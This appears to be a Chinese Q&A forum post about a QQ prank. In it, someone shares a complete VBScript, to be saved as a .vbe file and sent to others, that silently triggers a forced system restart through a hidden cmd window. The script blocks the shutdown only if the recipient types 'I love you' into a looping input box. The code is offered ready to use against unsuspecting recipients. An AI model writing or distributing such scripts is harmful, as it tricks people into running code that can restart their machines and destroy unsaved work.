怎么修改文本格式？QQ恶搞软件 进

看别人新建一个文本 复制了一些代码 然后制成文本 用Q给别人发过去 30秒内说 我爱你 不说的就死机 怎么弄 另外求QQ恶搞软件

on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我爱你，不说我爱你就一分钟关你机，

不信，试试···"" ",0 ,true 
dim a 
do while(a <> "我爱你") 
a = inputbox ("说我爱你,就不关机，快撒，说 ""我爱你"" ","说不说","不说",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾" 把这个复制到写字板，后缀改为VBE就行了